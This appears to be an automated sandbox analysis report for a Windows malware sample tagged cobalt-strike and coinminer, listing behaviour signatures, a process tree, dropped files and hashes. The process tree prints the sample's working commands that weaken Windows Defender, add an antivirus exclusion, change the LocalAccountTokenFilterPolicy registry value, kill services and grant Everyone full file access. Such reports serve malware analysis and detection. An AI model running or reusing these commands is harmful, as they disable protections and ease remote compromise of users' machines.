Analysis

  • max time kernel
    150s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    26/10/2026, 13:03

General

  • Target
    2026-10-25_c5319c0c1e36a1495bacc6813eb0e653_chachi_cobalt-strike_coinminer_elex_frostygoop_glassworm.exe
  • Size 16.7MB
  • Sample261026-qargkabb53
  • SHA256 8b38cc76dfe6dfaa0abfbce5744ad49885ee127b7fff6e519d50fe17b26c3f7c
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Using powershell.exe command.

  • Modifies file permissions 1 TTPs 1 IoCs
  • Reverse proxy tool: Chisel 1 IoCs

    Chisel can be used to bypass network security and establish persistent backdoors. This open-source utility tunnels traffic through a public server to expose internal services behind NAT or firewalls.

  • Stops running service(s) 4 TTPs
  • Discovers running processes 1 TTPs 1 IoCs

    Running process information can be used to identify security tools or plan follow-on actions.

  • Launches sc.exe 2 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • System Location Discovery: System Language Discovery 1 TTPs 9 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Kills process with taskkill 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 47 IoCs
  • Suspicious use of WriteProcessMemory 13 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-10-25_c5319c0c1e36a1495bacc6813eb0e653_chachi_cobalt-strike_coinminer_elex_frostygoop_glassworm.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-10-25_c5319c0c1e36a1495bacc6813eb0e653_chachi_cobalt-strike_coinminer_elex_frostygoop_glassworm.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:2428
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -NonInteractive -Command "Set-MpPreference -ScanScheduleDay 8 -DisableCatchupFullScan $true -DisableCatchupQuickScan $true -MAPSReporting Disabled -SubmitSamplesConsent NeverSend -DisableIOAVProtection $true -ScanOnlyIfIdleEnabled $false"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:5056
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -NonInteractive -Command "Add-MpPreference -ExclusionPath 'C:\ProgramData\kernel'"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3184
    • C:\Windows\system32\reg.exe
      C:\Windows\Sysnative\reg.exe add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Scan" /f /v ScheduleDay /t REG_DWORD /d 8
      2⤵
        PID:2716
      • C:\Windows\system32\reg.exe
        C:\Windows\Sysnative\reg.exe add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Scan" /f /v DisableCatchupFullScan /t REG_DWORD /d 1
        2⤵
          PID:4468
        • C:\Windows\system32\reg.exe
          C:\Windows\Sysnative\reg.exe add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Scan" /f /v DisableCatchupQuickScan /t REG_DWORD /d 1
          2⤵
            PID:5380
          • C:\Windows\system32\reg.exe
            C:\Windows\Sysnative\reg.exe add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v SpyNetReporting /t REG_DWORD /d 0
            2⤵
              PID:2100
            • C:\Windows\SysWOW64\taskkill.exe
              taskkill /F /IM svc.exe
              2⤵
              • System Location Discovery: System Language Discovery
              • Kills process with taskkill
              • Suspicious use of AdjustPrivilegeToken
              PID:5548
            • C:\Windows\SysWOW64\taskkill.exe
              taskkill /F /IM srwsvc.exe
              2⤵
              • System Location Discovery: System Language Discovery
              • Kills process with taskkill
              • Suspicious use of AdjustPrivilegeToken
              PID:2452
            • C:\Windows\SysWOW64\sc.exe
              sc stop kernels
              2⤵
              • Launches sc.exe
              • System Location Discovery: System Language Discovery
              PID:5428
            • C:\Windows\SysWOW64\sc.exe
              sc delete kernels
              2⤵
              • Launches sc.exe
              • System Location Discovery: System Language Discovery
              PID:5928
            • C:\Windows\SysWOW64\tasklist.exe
              tasklist /FI "IMAGENAME eq srwsvc.exe" /NH
              2⤵
              • Discovers running processes
              • System Location Discovery: System Language Discovery
              • Suspicious use of AdjustPrivilegeToken
              PID:2852
            • C:\Windows\SysWOW64\icacls.exe
              icacls C:\ProgramData\kernel\svc.exe /grant Everyone:F
              2⤵
              • Modifies file permissions
              • System Location Discovery: System Language Discovery
              PID:1864
            • C:\Windows\system32\reg.exe
              C:\Windows\Sysnative\reg.exe add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /f /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1
              2⤵
                PID:4852

            Network

                  MITRE ATT&CK Enterprise v16

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                  svc.exe

                  • Path C:\ProgramData\kernel\svc.exe
                  • Size 12.1MB
                  • SHA256 27ee3f1733e81328e584120e5ab34d6513b622c71de32b81b0afba0d75d89f52
                  • MD5 SHA1 SHA512 SSDEEP TLSH

                  StartupProfileData-NonInteractive

                  • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                  • Size 21KB
                  • SHA256 96425e847870d60d608dc422119dc901667456c9a0942e64a9b30697e0ecc7bf
                  • MD5 SHA1 SHA512 SSDEEP TLSH

                  __PSScriptPolicyTest_yesjvgnl.qkg.psm1

                  • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_yesjvgnl.qkg.psm1
                  • Size 60B
                  • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                  • MD5 SHA1 SHA512 TLSH

                  memory/3184-41-0x0000000074840000-0x0000000074FFC000-memory.dmp

                  memory/3184-37-0x0000000071150000-0x000000007119C000-memory.dmp

                  memory/3184-33-0x0000000074840000-0x0000000074FFC000-memory.dmp

                  memory/3184-32-0x0000000074840000-0x0000000074FFC000-memory.dmp

                  memory/3184-31-0x0000000074840000-0x0000000074FFC000-memory.dmp

                  memory/5056-19-0x0000000007310000-0x00000000073B3000-memory.dmp

                  memory/5056-24-0x00000000076C0000-0x00000000076CA000-memory.dmp

                  memory/5056-12-0x0000000006320000-0x000000000636C000-memory.dmp

                  memory/5056-13-0x0000000074840000-0x0000000074FFC000-memory.dmp

                  memory/5056-14-0x00000000072A0000-0x00000000072D6000-memory.dmp

                  memory/5056-10-0x0000000005DE0000-0x000000000613B000-memory.dmp

                  memory/5056-15-0x0000000071150000-0x000000007119C000-memory.dmp

                  memory/5056-18-0x00000000068D0000-0x00000000068F0000-memory.dmp

                  memory/5056-0-0x0000000074852000-0x0000000074853000-memory.dmp

                  memory/5056-20-0x0000000074840000-0x0000000074FFC000-memory.dmp

                  memory/5056-21-0x0000000074840000-0x0000000074FFC000-memory.dmp

                  memory/5056-22-0x0000000007C90000-0x000000000830C000-memory.dmp

                  memory/5056-23-0x0000000007650000-0x000000000766A000-memory.dmp

                  memory/5056-11-0x00000000062E0000-0x00000000062FE000-memory.dmp

                  memory/5056-25-0x00000000078C0000-0x0000000007956000-memory.dmp

                  memory/5056-26-0x0000000074852000-0x0000000074853000-memory.dmp

                  memory/5056-27-0x0000000074840000-0x0000000074FFC000-memory.dmp

                  memory/5056-28-0x0000000074840000-0x0000000074FFC000-memory.dmp

                  memory/5056-30-0x0000000074840000-0x0000000074FFC000-memory.dmp

                  memory/5056-5-0x0000000074840000-0x0000000074FFC000-memory.dmp

                  memory/5056-6-0x0000000005D00000-0x0000000005D66000-memory.dmp

                  memory/5056-7-0x0000000005D70000-0x0000000005DD6000-memory.dmp

                  memory/5056-4-0x0000000005500000-0x0000000005522000-memory.dmp

                  memory/5056-3-0x0000000005600000-0x0000000005C4A000-memory.dmp

                  memory/5056-2-0x0000000074840000-0x0000000074FFC000-memory.dmp

                  memory/5056-1-0x0000000002A80000-0x0000000002AB6000-memory.dmp